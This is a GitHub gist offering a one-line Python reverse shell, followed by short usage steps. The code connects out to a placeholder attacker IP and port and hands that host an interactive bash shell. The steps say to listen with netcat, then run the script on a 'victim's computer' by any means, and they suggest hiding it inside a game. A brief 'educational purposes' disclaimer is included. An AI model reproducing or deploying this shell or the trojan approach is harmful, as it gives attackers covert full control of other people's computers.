Skip to content

Instantly share code, notes, and snippets.

@skaravind
Last active August 6, 2021 20:26
Show Gist options
  • Select an option

  • Save skaravind/123a823dd3ec5fef8e06ad840a4b8231 to your computer and use it in GitHub Desktop.

Select an option

Save skaravind/123a823dd3ec5fef8e06ad840a4b8231 to your computer and use it in GitHub Desktop.
One liner reverse shell Python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<IP_ADDRESS>,<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
'''
This is for educational purposes, do not use this to illegally hack someone. Hack with permission.
1. Add the attacker's IP_ADDRESS and PORT
2. run "nc -l PORT" or "nc -lp PORT" in the attacker's comp and start listening on the PORT.
3. run this script in the victim's computer by whatever means at your disposal. (e.g. make a game that runs this script in the backend)
VOILA, you should have full computer access of the victim.
'''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment